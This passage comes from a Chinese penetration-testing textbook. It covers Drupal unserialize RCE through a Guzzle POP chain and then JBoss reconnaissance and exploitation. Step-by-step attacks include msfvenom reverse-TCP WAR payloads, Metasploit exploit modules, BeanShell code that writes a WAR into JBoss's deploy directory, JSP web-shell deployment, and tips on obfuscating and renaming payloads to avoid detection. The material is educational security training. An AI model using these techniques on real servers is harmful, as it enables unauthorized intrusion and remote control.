从上面的截图中可以看出,$methods数组作为参数传递给构造函数。__construct()函数将通过循环遍历$methods数组来创建函数,然后在_fn_字符串之前添加。如果$methods数组中有一个close字符串,该字符串将被添加上_fn_,从而形成_fn_close方法。现在,让我们看看$methods数组中的元素:

从上面的截图中可以清楚地看到$methods数组中有一个值为close的元素。现在我们知道如何控制_fn_close方法,接下来,我们必须找到一种方法将危险函数和要执行的命令传递给_fn_close。为此,我们必须创建一个POP 链

什么是 POP 链?

在内存损坏漏洞(如缓冲区溢出和格式字符串)中,如果存在内存防御措施,如数据执行防护DEP)和地址空间布局随机化ASLR),则可以使用代码重用技术,如返回到 libcret2libc)和返回导向编程ROP)来绕过这些防御措施。代码重用技术在基于 PHP 的 Web 应用程序的情况下也是可行的,这些应用程序使用对象的概念。可以利用对象属性进行利用的一种代码重用技术是基于属性的编程(POP)

POP 链是一种利用 Web 应用程序中对象注入漏洞的利用方法,利用能够任意修改被注入到给定 Web 应用程序中的对象的属性的能力。然后可以相应地操纵受害应用程序的数据和控制流。

创建一个 POP 链,序列化的负载使用GuzzleHttpHandlerStack类:

我们将我们的命令传递给handler方法,将危险函数传递给stack[]方法,如下图所示:

一旦析构函数被调用(在对象销毁时会自动调用),_fn_close方法的属性将被传递给call_user_func(),并执行system(id)

接下来,我们将反序列化负载。

反序列化负载

为了更清楚地理解负载,我们可以对其进行反序列化并使用var_dump。根据 PHP 手册,var_dump显示关于一个或多个表达式的结构化信息(包括类型和值)。var_dump会递归地探索数组和对象,并缩进显示结构。我们也可以使用print_r()函数执行相同的操作:

由于我们使用基于GuzzleHttp客户端的负载,我们需要安装 Guzzle。我们可以使用以下 PHP 代码对其进行反序列化:

<?php
require __DIR__ . '/vendor/autoload.php';
$obj= unserialize(json_decode(file_get_contents("./payload.txt")));
var_dump($obj);
?>

运行代码将给我们以下输出:

object(GuzzleHttp\Psr7\FnStream)#3 (2) {["methods":"GuzzleHttp\Psr7\FnStream":private]=>array(1) {["close"]=>array(2) {[0]=>object(GuzzleHttp\HandlerStack)#2 (3) {["handler":"GuzzleHttp\HandlerStack" :private]=>string(1) "id"["stack":"GuzzleHttp\HandlerStack":private]=>array(1) {[0]=>array(1) {[0]=>string(4) "system"}}["cached":"GuzzleHttp\HandlerStack" :private]=>bool(false)}[1]=>string(7) "resolve"}}["_fn_close"]=>array(2) {[0]=>object(GuzzleHttp\HandlerStack)#2 (3) {["handler":"GuzzleHttp\HandlerStack" :private]=>string(1) "id"["stack":"GuzzleHttp\HandlerStack":private]=>array(1) {[0]=>array(1) {[0]=>string(4) "system"}}["cached":"GuzzleHttp\HandlerStack" :private]=>bool(false)}[1]=>string(7) "resolve"}

当执行时,会导致system()函数执行传递给该函数的命令,并将输出返回给我们。

通过 Metasploit 使用 unserialize()利用 RESTful Web Services RCE

现在我们了解了序列化的概念以及如何对有效载荷进行序列化,让我们使用 Metasploit 的exploit模块来利用这个漏洞。执行以下命令来使用exploit模块:

use exploit/unix/webapp/drupal_restws_unserialize

以下截图显示了前述命令的输出:

然后我们设置选项并运行利用。运行 Metasploit 模块后,我们会观察到它首先通过询问CHANGELOG.txt来查找SA-CORE-2019-003补丁来执行补丁级别检查。执行id命令以确认 Drupal 安装上的 RCE,如下所示:

成功利用后,服务器将返回id命令的输出,如下所示:

然后,PHP meterpreter 代码被序列化并发送到服务器,一个 meterpreter 会话在我们的 Metasploit 中打开,如下所示:

我们通过利用 RESTful Web Services 模块获得了对 Drupal 服务器的访问。

摘要

我们从讨论 Drupal 的架构和目录结构开始了本章。然后,我们学习了如何手动和自动执行 Drupal 的侦察。之后,我们看了两个利用的例子,并逐步介绍了整个利用过程。

在下一章中,我们将看一下对 JBoss 服务器的枚举和利用。

问题

  1. 相同的漏洞可以用来利用不同版本的 Drupal 吗?

  2. 我们需要在本地安装 Drupal 来利用远程 Drupal 网站吗?

  3. RESTful API Web Services 利用不起作用-我们能做些什么?

  4. 我们可以访问 Drupal 管理员帐户-我们如何在服务器上实现 RCE?

  5. 我们在 Drupal 网站上发现了一个.swp文件-这可以用于利用吗?

进一步阅读

第十四章:在技术平台上进行渗透测试

在这一部分,我们将看一下最常用的技术平台,比如 JBoss、Tomcat 和 Jenkins。我们还将研究它们的枚举和深入利用。我们将涵盖最新的针对上述技术出现的常见漏洞和曝光CVEs),并尝试理解根本原因。

本节包括以下章节:

  • 第十一章,技术平台渗透测试 - JBoss

  • 第十二章,技术平台渗透测试 - Apache Tomcat

  • 第十三章,技术平台渗透测试 - Jenkins

第十五章:技术平台的渗透测试 - JBoss

本书的前几章介绍了如何对内容管理系统CMS)进行渗透测试。现在我们已经清楚了不同 CMS 架构和进行测试的不同方法,让我们继续学习如何对不同技术进行测试。在本章中,我们将学习 JBoss 及其架构和利用。JBoss 是一个组织专注于自动化部署基于 Java 的应用程序的最易部署的应用之一。由于其灵活的架构,许多组织选择了 JBoss,但正是因为其对组织的极大易用性,JBoss 也成为了威胁行为者广泛瞄准的目标。本章将涵盖以下主题:

  • JBoss 简介

  • 使用 Metasploit 对基于 JBoss 的应用服务器进行侦察

  • 对 JBoss 的漏洞评估

  • 利用 Metasploit 模块进行 JBoss 利用

技术要求

本章的先决条件如下:

JBoss 简介

JBoss AS 是一个基于Java 企业版Java EE)的开源应用服务器。该项目始于 1999 年的 Mark Fluery。自那时起,JBoss Group(LLC)于 2001 年成立,并且在 2004 年,JBoss 成为了以 JBoss, Inc.的名义成立的公司。在 2006 年初,甲骨文试图收购 JBoss, Inc.,但在同一年晚些时候,RedHat 成功收购了该公司。

由于 JBoss AS 基于 Java,该应用服务器支持跨平台安装,并且与市场上的其他专有软件不同,JBoss 以非常低的价格提供相同的功能。以下是 JBoss 的一些优点:

  • 由于基于插件的架构而具有灵活性

  • 安装和设置简单

  • 提供完整的 Java EE 堆栈,包括企业 JavaBeanEJB)、Java 消息服务JMS)、Java 管理扩展JMX)和Java 命名和目录接口JNDI

  • 可以运行企业应用EA

  • 成本效益

由于灵活的插件架构,开发人员不必花时间为其应用程序开发服务。这里的目标是节省金钱和资源,以便开发人员可以更多地专注于他们正在开发的产品。

JBoss 架构(JBoss 5)

JBoss 架构在过去几年逐渐发生了变化,并且随着每个主要版本的发布,新的服务已被添加。在本章中,我们将查看 JBoss AS 5 的架构概述,并在本章后面的JBoss 利用部分中涵盖架构的利用部分。要了解 JBoss AS 架构,请参考以下图表:

我们可以将架构分为四个主要组件,如下所示:

  • 用户应用程序:顾名思义,该组件处理用户应用程序,并包含 XML 配置文件、Web 应用程序资源WAR)文件等。这是用户应用程序部署的地方。

  • 组件部署器:JBoss 中使用部署器来部署组件。MainDeployerJARDeployerSARDeployer是 JBoss 服务器核心中的硬编码部署器。所有其他部署器都是托管 BeanMBean)服务,它们将自己注册为MainDeployer的部署器。

  • 企业服务:该组件负责处理多种事务,如事务、安全和 Web 服务器。

  • JBoss 微容器:这可以作为独立容器在 JBoss AS 之外使用。它旨在提供一个环境来配置和管理Plain Old Java ObjectsPOJOs)。

现在,让我们来看一下目录结构。

JBoss 文件和目录结构

JBoss 有一个简化的目录结构。通过浏览到 JBoss 的home目录并列出内容,我们可以看到下面截图中显示的结构:

让我们试着了解一下这些目录是什么,它们包含了什么文件和文件夹:

  • bin:这个目录包含所有入口点的Java ArchivesJARs)和脚本,包括启动和关闭。

  • client:这个目录存储可能被外部 Java 客户端应用程序使用的配置文件。

  • common:这个目录包含服务器的所有公共 JAR 和配置文件。

  • docs:这个目录包含 JBoss 文档和模式,在开发过程中很有帮助。

  • lib:这个目录包含 JBoss 启动所需的所有 JAR 文件。

  • server:这个目录包含与不同服务器配置文件相关的文件,包括生产和测试。

通过进一步进入server目录并列出内容,我们可以看到下面截图中显示的结构:

让我们打开其中一个配置文件,了解一下结构。下面的截图显示了default文件夹的列表:

让我们来看一下前面截图中目录的详细情况:

  • conf:这个目录包含配置文件,包括login-configbootstrap config

  • data:这个目录可用于在文件系统中存储内容的服务。

  • deploy:这个目录包含在服务器上部署的 WAR 文件。

  • liblib目录是静态 Java 库的默认位置,在启动时加载到共享类路径中。

  • log:这个目录是所有日志写入的地方。

  • tmp:这个目录被 JBoss 用来存储临时文件。

  • work:这个目录包含编译后的 JSP 和类文件。

通过进一步进入deploy目录并列出内容,我们可以看到各种 WAR 文件、XML 文件等,如下面的截图所示:

我们需要了解的一些文件包括:

  • admin-console.war是 JBoss AS 的管理控制台。

  • ROOT.war/root web 应用程序。

  • jbossweb.sar是部署在服务器上的 Tomcat servlet 引擎。

  • jbossws.sar是支持 Web 服务的 JBoss 服务。

大多数情况下,我们会发现服务器上缺少admin-console,因为 JBoss 管理员会将admin-consoleweb-consoleJMX-console应用程序从服务器中移除。尽管这是保护 JBoss 实例的一种很好的方式,但这对威胁行为者并不起作用。JBoss AS 也可以使用 MBeans 进行管理。尽管它们是管理员的功能,但 MBeans 也可以作为允许行为者渗透网络的活门。要访问 MBeans,让我们首先了解文件和目录结构,因为这将帮助我们学习如何在过程中访问 MBeans。在 JBoss AS 中部署的大量 MBeans 可以直接通过JMX-consoleweb-console访问,这引发了许多关于部署安全性的担忧。

在深入研究 JBoss 利用之前,让我们先了解如何在 JBoss AS 部署上执行侦察和枚举。

侦察和枚举

在这一部分,我们将专注于对 JBoss 服务器的侦察和枚举。有各种方法可以识别 JBoss 服务器,比如默认情况下 JBoss 监听 HTTP 端口8080。让我们看一些用于 JBoss 侦察的常见技术。

通过主页检测

我们可以使用的一种非常基本的技术是访问 Web 服务器主页,该主页显示了 JBoss 的标志,如下截图所示:

当我们打开 JBoss 主页时,默认的 JBoss 设置会显示其他超链接,我们可以浏览以获取更多信息。

通过错误页面进行检测

有时候我们会发现 JBoss AS 运行在8080端口,但主页无法访问。在这种情况下,404错误页面也可以透露出 JBoss AS 的标头和版本号,用于正在使用的 JBoss 应用实例:

通过打开任意不存在的链接可以生成一个404错误页面,这将给我们一个错误,如前面的截图所示。

通过标题 HTML 标签进行检测

有些情况下,当我们尝试访问 JBoss AS 时,我们会得到一个空白页面。这通常是为了保护主页免受公开暴露和未经身份验证的访问。由于主页包含了相当有价值的信息,JBoss 管理员倾向于通过反向代理身份验证或删除应用程序中的 JMX 控制台、Web 控制台和管理控制台来保护页面(如本章前面提到的)。这些控制台将在本章的扫描和利用阶段进一步讨论:

如果我们得到一个空白页面,我们仍然可以通过 HTML <title>标签来识别 JBoss,该标签在页面标题中透露了一些信息,如前面的截图所示。

通过 X-Powered-By 进行检测

JBoss 还在 HTTP 响应标头中透露了其版本号和构建信息,如下截图所示。我们可以在X-Powered-ByHTTP 响应标头中找到版本和构建信息。即使管理控制台或 Web 控制台不可访问,部署在 JBoss 中的应用程序也没有配置隐藏标头:

大多数威胁行为者通过在 Shodan、Censys 等上搜索相同的标头信息来检测 JBoss AS 的使用。在撰写本书时,有超过 19,000 个 JBoss AS 服务器,如果它们没有得到安全配置,就有可能被利用:

威胁行为者寻找这些信息并运行自动化扫描程序,以找到易受攻击的 JBoss 实例。一旦被攻击,JBoss 可以为行为者打开进入组织网络的大门。

通过哈希值检测 favicon.ico

这种技术通常不为渗透测试人员所熟知,因为它涉及对图标进行哈希处理。这实际上是另一种很酷的方法,可以告诉我们服务器是否正在运行 JBoss AS。我们可以对favicon.ico文件(一个图标文件)进行 MD5 哈希处理,如下截图所示:

在 OWASP favicon 数据库中搜索哈希值将告诉我们服务器是否正在运行 JBoss:

由于 OWASP favicon 数据库非常有限,我们可以随时创建自己的数据库来执行此活动。

通过样式表(CSS)进行检测

查看 HTML 源代码,我们可以看到 JBoss 样式表(jboss.css),如下截图所示,这清楚地表明了 JBoss AS 正在运行:

有时,管理员会更改 JBoss 文件的命名约定,但在这个过程中,他们忘记了添加必要的安全配置。现在我们已经手动收集了用于识别 JBoss AS 实例使用的信息,让我们尝试使用 Metasploit 来识别该实例。

使用 Metasploit 进行 JBoss 状态扫描

Metasploit 还具有用于 JBoss 枚举的内置辅助模块,其中之一是 auxiliary/scanner/http/jboss_status。该模块寻找显示应用程序服务器运行状态历史的状态页面。我们可以在 msfconsole 中使用以下命令加载该模块:

use auxiliary/scanner/http/jboss_status
show options

以下截图显示了上述命令的输出:

上述截图显示了运行辅助程序所需的选项。设置好选项后,然后像下面的截图中所示运行辅助程序,服务器将确认应用程序服务器是基于 JBoss 的,根据发现的状态页面:

该模块寻找页面上具有以下正则表达式的文本:

该模块执行以下操作:

  1. 它向服务器发送 GET 请求以查找 /status 页面(默认页面设置为 Target_uri 选项)。

  2. 如果从服务器收到 200 OK 响应,它将在 HTML <title> 标签中查找 Tomcat Status 字符串。

  3. 如果找到该标签,该模块将根据正则表达式查找数据,如上述截图所示。

当模块执行时,JBoss 会存储源 IP、目标 IP 和被调用页面。然后这些信息将被打印出来。我们可以在 /status 页面中查看它,就像下面的截图中所示:

jboss_status 模块寻找特定信息以对 JBoss AS 实例进行指纹识别。

JBoss 服务枚举

运行在 JBoss Web Service (JBoss WS) 上的服务列表也可以为我们提供有关 JBoss 服务器的信息:

打开 JBoss WS URI(即浏览到 /jbossws/services)将确认 JBoss AS 是否正在运行,正如我们在上述截图中所看到的。现在我们对如何枚举运行的 JBoss 服务并收集更多信息有了更好的理解,让我们继续下一节,它将向我们展示如何对 JBoss AS 实例执行漏洞扫描。

对 JBoss AS 执行漏洞评估

如果我们在一台机器上发现了 JBoss AS 实例,并且需要执行漏洞评估,我们总是可以使用 Metasploit。Metasploit 有一个名为 auxiliary/scanner/http/jboss_vulnscan 的模块,我们可以使用它对 JBoss AS 执行漏洞扫描。该模块检查一些漏洞,例如身份验证绕过、默认密码和可访问的 JMX-console 功能。以下是我们可以观察到的在 JBoss AS 上执行漏洞评估的步骤:

  1. 要使用 jboss_vulnscan,我们在 msfconsole 中输入以下命令:
use auxiliary/scanner/http/jboss_vulnscan
show options

以下截图显示了上述命令的输出:

  1. 设置所需的选项,如下所示:

  1. 运行扫描程序后,它将检查各种漏洞,并报告在服务器上发现了哪些漏洞,如下所示:

该模块查找应用程序中的特定文件和在不同端口上运行的 Java 命名服务。

使用 JexBoss 进行漏洞扫描

还有另一个非常强大的工具,名为 JexBoss,专门用于 JBoss 和其他技术枚举和利用情况。它是由 João F. M. Figueiredo 开发的。在本节中,我们将简要介绍如何使用 JexBoss。该工具可以在 github.com/joaomatosf/jexboss 下载和安装。

设置好这一切后,我们可以使用以下命令运行该工具:

./jexboss.py -u http://<websiteurlhere.com>

让我们使用这个工具(如下截图所示)来查找 JBoss AS 实例中的漏洞:

在前面的屏幕截图中使用的命令将寻找易受攻击的 Apache Tomcat Struts、servlet 反序列化和 Jenkins。该工具还将检查各种 JBoss 漏洞,我们将找出服务器是否易受其中任何漏洞的影响。

易受攻击的 JBoss 入口点

众所周知,JBoss 配备了许多功能齐全和运行良好的附加组件和扩展,如 JNDI、JMX 和 JMS,因此 JBoss 利用的可能入口点数量相应增加。以下表格列出了易受攻击的 MBean 及其相应的服务和方法名称,可用于 JBoss 侦察和利用:

类别MBean 域名MBean 服务名称MBean 方法名称MBean 方法描述
利用jboss.systemMainDeployerdeploy()undeploy()redeploy()deploy()方法用于部署应用程序。undeploy()方法用于取消部署已部署的应用程序。redeploy()方法用于服务器重新部署存储在服务器本身(本地文件)的已部署应用程序。
侦察jboss.systemServerexit()shutdown()halt()exit()shutdown()halt()方法是非常危险的方法。威胁行为者可以使用这些方法关闭应用程序服务器以中断服务。
侦察jboss.systemServerInfoN/AN/A
侦察jboss.systemServerConfigN/AN/A
利用jboss.deploymentDeploymentScanneraddURL()listDeployedURLs()addURL()方法用于通过 URL 添加远程/本地应用程序进行部署。listDeploymentURLs()方法用于列出所有先前部署的应用程序及其 URL。此方法有助于查找当前的 JBoss AS 实例是否已被利用。
利用jboss.deployerBSHDeployercreateScriptDeployment()deploy()undeploy()redeploy()createScriptDeployment()方法用于通过Bean ShellBSH)脚本部署应用程序。脚本内容应在此方法中提及以进行部署。然后 MBean 创建一个带有.bsh扩展名的临时文件,该文件将用于部署。deploy()undeploy()redeploy()方法用于使用 BSH 脚本管理部署。
利用jboss.adminDeploymentFileRepositorystore()store()方法被部署者用于存储文件名及其扩展名、文件夹名和时间戳。威胁行为者只需提到具有上述信息的 WAR 文件,有效载荷将直接部署在服务器上。

MainDeployer MBean 是部署的入口点,所有组件部署的请求都发送到MainDeployerMainDeployer可以部署 WAR 存档、JARs企业应用程序存档EARs)、资源存档RARs)、Hibernate 存档HARs)、服务存档SARs)、BSHes和许多其他部署包。

JBoss 利用

现在我们清楚了 JBoss 的侦察和漏洞扫描能力,让我们了解一下 JBoss 的利用。我们可以用以下几种基本方法来利用 JBoss:

  • JBoss 利用通过管理控制台admin-console

  • 通过MainDeployer服务利用 JBoss 的 JMX 控制台

  • JBoss 利用通过 JMX 控制台使用MainDeployer服务(Metasploit 版本)

  • JBoss 利用通过 JMX 控制台使用BSHDeployer服务

  • 通过BSHDeployer服务(Metasploit 版本)利用 JBoss 的 JMX 控制台

  • 通过 Java 小程序利用 JBoss 的 Web 控制台

  • 通过Invoker方法利用 JBoss 的 Web 控制台

  • 通过第三方工具使用 Web 控制台进行 JBoss 利用

让我们逐个了解这些利用方法。

JBoss 通过管理控制台进行利用

在这一部分,我们将开始利用过程。第一步是访问管理控制台,默认情况下配置的用户名和密码分别为adminadmin。下图显示了管理登录页面:

一旦我们成功登录,我们将看到下图所示的页面:

利用的下一步是找到一种在服务器上执行命令的方法,以便我们获得服务器级别的访问权限。从左侧菜单中选择 Web 应用程序(WAR)选项,您将被重定向到下图所示的页面。我们将点击“添加新资源”按钮:

这将带我们到一个新页面,在那里我们将看到上传 WAR 文件的选项。可以使用以下命令使用msfvenom生成 WAR 文件:

msfvenom -p java/meterpreter/reverse_tcp lhost=<Metasploit_Handler_IP> lport=<Metasploit_Handler_Port> -f war -o <filename>.war

一旦我们生成了基于 WAR 的 Metasploit 有效载荷,我们将把文件上传到控制台的 Web 应用程序(WAR)部分,如下图所示:

一旦文件成功上传,我们只需要转到它被提取到的目录,并在我们的 Web 浏览器上打开它以获取 Meterpreter 连接,如下图所示:

在运行有效载荷之前,有一些需要考虑的事情,最重要的是检查出口连接。如果有效载荷被执行,但防火墙阻止对我们服务器的出口流量(出站连接),我们需要找到一种方法来获取反向 shell。如果没有办法做到这一点,我们总是可以选择绑定连接到服务器。

通过 JMX 控制台进行利用(MainDeployer 方法)

请考虑来自官方 JBoss 文档的以下引用(可在docs.jboss.org/jbossas/docs/Getting_Started_Guide/4/html-single/index.html找到):

“JMX 控制台是 JBoss 管理控制台,它提供了服务器组成的 JMX MBeans 的原始视图。它们可以提供有关运行服务器的大量信息,并允许您修改其配置,启动和停止组件等。”

如果我们发现 JBoss 有未经身份验证访问 JMX 控制台的实例,我们可以使用MainDeployer选项将 shell 上传到服务器。这允许我们从远程 URL 获取 WAR 文件并在服务器上部署它。JMX 控制台如下图所示:

让我们实施以下利用步骤:

  1. 在控制台页面上,搜索MainDeployer服务选项,如下所示:

  1. 单击该选项将重定向我们到一个新页面,如下所示:

  1. 向下滚动页面,我们将看到多个deploy方法。选择URL Deploy方法,这将允许我们从远程 URL 获取 WAR 文件:

  1. 使用以下命令生成基于 WAR 的 Metasploit 有效载荷:
Msfvenom -p java/meterpreter/reverse_tcp lhost=<Metasploit_Handler_IP> lport=<Metasploit_Handler_Port> -f war -o <filename>.war
  1. 现在我们需要将 WAR 文件托管在 HTTP 服务器上,并将 URL 粘贴到输入字段中,如下所示:

  1. 让我们设置我们的利用处理程序如下所示:

  1. 一旦成功调用,我们将从服务器收到以下消息:

我们的s.war有效载荷已部署。

  1. 接下来,我们需要找到正确的 stager 名称,以便我们可以调用文件。让我们解压 Metasploit 生成的文件,如下所示:

我们在web.xml文件中找到 servlet 名称:

  1. 让我们通过将 servlet 名称添加到 URL 来调用有效载荷,如下所示的屏幕截图:

  1. 输出将为空,但我们可以在我们的 Metasploit exploit 处理程序上检查 stager 请求,如下所示:

最好自定义 WAR 文件并使用常见的技术对内容进行混淆。此外,为了帮助进一步避免检测,我们需要将文件名从随机名称更改为更具体和常见的名称,例如login.jspabout.jsplogout.jsp

通过使用 Metasploit 通过 JMX 控制台进行利用(MainDeployer)

Metasploit 还具有内置的利用模块,可用于使用MainDeployer方法利用 JMX 控制台。现在让我们使用 Metasploit 模块通过 JMX 控制台上传 shell。我们使用以下命令加载利用程序:

use exploit/multi/http/jboss_maindeployer

我们将看到以下可用选项:

我们可以设置所需的选项,如rhostsrport,如下所示:

当一切都设置好后,我们可以运行利用程序,Metasploit 将执行我们在上一节手动执行的相同步骤,以便在服务器上为我们提供 Meterpreter 访问,如下所示:

有时,如果 JMX 控制台受到身份验证保护,模块可能无法工作。我们可以尝试对身份验证进行字典攻击,如果成功,我们可以使用用户名和密码(在字典攻击期间找到)在此模块上设置HttpUsernameHttpPassword选项。

通过 JMX 控制台(BSHDeployer)进行利用

通过使用BeanShell DeployerBSHDeployer)在 JMX 控制台上实现代码执行的另一种方法。BSHDeployer允许我们在 JBoss 中以 Bean shell 脚本的形式部署一次执行脚本和服务。在获得对 JMX 控制台的访问后,我们可以查找service=BSHDeployer对象名称,如下所示:

单击此对象将重定向我们到部署页面,如下所示:

在这里,我们需要放置将用于在服务器上部署我们的有效载荷的 BSH 文件的 URL。一个简单的方法是使用第三方工具进行通过BSHDeployer的利用,例如 JexBoss。这也可以使用 Metasploit 来实现,我们将在下面看到。

通过使用 Metasploit 通过 JMX 控制台进行利用(BSHDeployer)

Metasploit 也可以用于部署 BSH 以在服务器上实现代码执行。Metasploit 具有用于此目的的jboss_bshdeployer利用模块,让我们看一下它的用法。我们可以使用以下命令在msfconsole中加载利用程序:

Use exploit/multi/http/jboss_bshdeployer

要查看选项列表,我们需要输入show options,如下所示:

然后我们需要在运行利用程序之前设置相应的选项,如下所示:

我们需要设置在此模块中使用的有效载荷(默认情况下为java/meterpreter/reverse_tcp)。一个通用的选项是使用基于 Java 的 Meterpreter,但在 Java 有效载荷不起作用的情况下,我们可以尝试使用基于操作系统风格和架构的有效载荷。

运行利用程序后,Metasploit 将创建一个 BSH 脚本并调用部署程序,然后部署和提取 shellcode。调用 JSP shellcode 将执行我们的有效载荷,我们将获得一个反向连接,如下所示:

现在我们知道如何通过BSHDeployer利用 JMX 控制台,让我们看看如何通过 web 控制台进行利用。

通过 web 控制台(Java 小程序)进行利用

在本节中,我们将讨论 JBoss web 控制台。请注意,JBoss web 控制台已被弃用,并已被管理控制台取代,但对我们仍然有用,因为在旧版本的 JBoss 服务器上,仍然可以利用 web 控制台。在浏览器中打开 web 控制台时,我们可能也会遇到一些错误,如下所示:

为了允许小程序运行,我们需要更改我们的 Java 安全设置,并将 JBoss 实例的域名和 IP 地址添加到 Java 例外站点列表中,如下所示:

一旦异常被添加,我们仍然会收到浏览器的警告,但我们可以继续单击“继续”,如下所示:

在下一个弹出窗口中,我们需要单击“运行”按钮以允许应用程序运行,如下所示:

然后我们会看到 JBoss 服务器的 web 控制台。在这里,我们可以继续上一节中介绍的相同步骤,使用MainDeployer上传 shell。如下截图所示,我们只需要在左侧窗格中找到并选择对象即可:

单击MainDeployer项目将带我们到可以在服务器上部署 WAR 文件以实现代码执行的页面,如下所示:

默认情况下,大多数浏览器禁用了运行 Java 小程序,因此有时,在发现 JBoss 服务器的 web 控制台页面时,我们可能只会得到一个空白页面。在打开 web 控制台时遇到空白页面并不意味着服务不可访问。这只意味着我们需要稍微调整我们的浏览器以允许 Java 小程序的执行。

通过 web 控制台进行利用(Invoker 方法)

利用 JBoss AS 实例的另一种方法是通过 web 控制台的Invoker方法。在请求/web-console/Invoker URI 路径时执行curl命令将从服务器获取响应,文件的前 4 个字节中包含0xAC0xED十六进制代码字符(aced)。我们可以在任何 Java 序列化对象的开头看到这一点,如下所示:

Invoker servlet 可以在 web 控制台或Invokerhttp://example.com/web-console/Invoker中找到。这可以在大多数情况下无需身份验证访问。我们可以向这个Invoker发送序列化的 post 请求来在服务器上执行命令。

以下是前面截图中字节的分解:

  • ac ed: STREAM_MAGIC指定这是一个序列化协议。

  • 00 o5: STREAM_VERSION指定正在使用的序列化版本。

  • 0x73: TC_OBJECT指定这是一个新对象。

  • 0x72: TC_CLASSDESC指定这是一个新类。

  • 00 24: 这指定了类名的长度。

  • {6F 72 67 2E 6A 62 6F 73 **73 2E 69 6E 76 6F 63 61 **74 69 ****6F 6E 2E 4D 61 72 **73 68 61 6C 6C 65 64 56 **61 6C 75 65} org.jboss. invocation.MarshalledValue: 这指定了类名。

  • EA CC E0 D1 F4 4A D0 99: SerialVersionUID指定了这个类的序列版本标识符。

  • 0x0C: 这指定了标记号。

  • 00 00: 这指定了这个类中字段的数量。

  • 0x78: TC_ENDBLOCKDATA标记块对象的结束。

  • 0x70: TC_NULL表示没有更多的超类,因为我们已经到达了类层次结构的顶部。

  • 使用第三方工具通过 web 控制台进行利用。

在跳入 Metasploit 的模块之前,让我们看看 RedTeam Pentesting 开发的另一组脚本。存档可以从他们的网站www.redteam-pentesting.de/files/redteam-jboss.tar.gz下载。

存档包含以下文件:

  • BeanShellDeployer/mkbeanshell.rb

  • WAR/shell.jsp

  • WAR/WEB-INF/web.xml

  • Webconsole-Invoker/webconsole_invoker.rb

  • JMXInvokerServlet/http_invoker.rb

  • JMXInvokerServlet/jmxinvokerservlet.rb

  • jboss_jars/console-mgr-classes.jar

  • jboss_jars/jbossall-client.jar

  • README

  • setpath.sh

  • Rakefile

下面的截图显示了团队发布的不同脚本:

我们可以使用这个工具创建自定义的 BSH 脚本,通过 web 控制台Invoker部署 BSH 脚本,创建JMXInvokerServlet负载等。让我们看看如何使用这个工具创建 BSH 脚本。

创建 BSH 脚本

存档中的一个脚本是mkbeanshell。该脚本以 WAR 文件作为输入,然后将 BSH 脚本作为输出创建:

  1. 通过使用-h标志执行脚本,我们可以看到所有可用的选项列表,如下所示:

  1. 现在,我们可以使用以下命令创建 BSH:
./mkbeanshell.rb -w <war file> -o <the output file>

该命令的输出(即 BSH 脚本)将保存在前面命令中提到的输出文件中。在这种情况下,创建的文件是redteam.bsh,如下截图所示:

  1. 源文件(即在本例中使用的 WAR 文件)是通用的负载文件。在这个 WAR 文件中是我们的 JSP web shell,其内容可以在下面的截图中看到:

  1. 默认情况下,如果我们打开创建的 BSH 脚本,我们会看到它在服务器上使用/tmp/目录来提取和部署 WAR 存档。现在,Windows 服务器没有/tmp/目录,而mkbeanshell Ruby 脚本只有更改路径的选项,在大多数情况下,我们可能根本不知道服务器上的路径。下面的截图显示了 BSH 脚本的代码:

  1. 我们可以用以下代码替换上一个截图中的最后几行代码,以获取通用文件位置:
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String location = jboss_home + "/deploy/test.war";FileOutputStream fstream = new
FileOutputStream(location);fstream.write(byteval);fstream.close();
  1. 在这里,我们可以看到System.getProperty("jboss.server.home.dir");获取了 JBoss 目录。这是一个平台无关的代码,可以在 Windows 和*nix 服务器上使用。我们只需要在home目录中创建一个名为deploy的新目录,使用new File(jboss_home + "/deploy/").mkdir();,然后,解码Base64并将其写入deploy目录作为test.war。在进行这些更改后,下面的截图显示了 BSH 脚本的最终代码:

BSH 脚本准备就绪后,我们可以使用与第三方工具redteam-jboss.tar.gz一起提供的webconsole_invoker.rb脚本将我们的 BSH 脚本远程部署到 JBoss AS 实例上。

使用webconsole_invoker.rb部署 BSH 脚本

我们可以使用webconsole_invoker.rb脚本部署 BSH 脚本:

  1. 使用-h标志执行 Ruby 脚本将显示选项列表,如下截图所示:

  1. 现在我们运行脚本并传递目标Invoker URL 以及Invoke方法。在我们的情况下,我们将使用createScriptDeployment()方法。该方法接受两种输入类型,都是String,所以我们在-s标志中传递它们,然后我们传递我们的 BSH 文件的路径(带有文件名和使用-p标志传递的部署者的名称),如下所示:

  1. 执行脚本后,我们的test.war文件将被部署,在我们的home目录内的/test/目录中创建我们的 shell:

浏览到 URL 可以让我们访问已上传的基于 JSP 的 Web shell,如前面的截图所示。

通过 JMXInvokerServlet(JexBoss)进行利用

JBoss 利用的另一个很好的工具是 JexBoss。JexBoss 是一个用于测试和利用 JBoss AS 和其他 Java 平台、框架和应用程序中的漏洞的工具。它是开源的,可以在 GitHub 上找到github.com/joaomatosf/jexboss

  1. 下载并运行工具后,我们可以通过几个按键来进行利用。我们只需要使用以下命令传递正在运行的 JBoss 服务器的 URL:
./jexboss.py --jboss -P <target URL>

如果 Python 没有正确配置,我们可以使用python jexboss.py --jboss -P语法执行前面的命令。两个选项都可以工作。

  1. 如下截图所示,该工具已识别出多个可利用的脆弱端点,可以利用它们来访问服务器。我们将使用JMXInvokerServlet,它类似于Invoker,并接收序列化的 post 数据:

  1. 当工具要求确认利用时,请选择yes

  1. 一旦利用完成,我们将获得一个 shell,通过它我们可以在服务器上执行命令,如下所示:

使用jexremote命令也可以进行进一步的利用。现在我们对使用 JexBoss 利用 JBoss 有了更好的理解,让我们继续下一部分——使用 Metasploit 通过JMXInvokerServlet进行利用

使用 Metasploit 通过 JMXInvokerServlet 进行利用

Metasploit 还有一个JMXInvokerServlet模块,可以使用以下命令加载:

Use exploit/multi/http/jboss_invoke_deploy

在使用此exploit模块之前,我们需要确保服务器上存在/invoker/JMXInvokerServlet URI 路径。如果路径不存在,利用将失败。以下截图显示了前面命令的输出:

要查看/invoker/JMXInvokerServlet URI 路径是否存在,我们可以使用以下命令进行确认:

如果服务器以字节形式的序列化数据作为响应,以ac ed开头,我们可以运行利用,这将使我们通过 Meterpreter 访问服务器,如下截图所示:

**注意:**在我们无法获得成功的反向 shell 的情况下,我们总是可以选择绑定 shell 连接。

总结

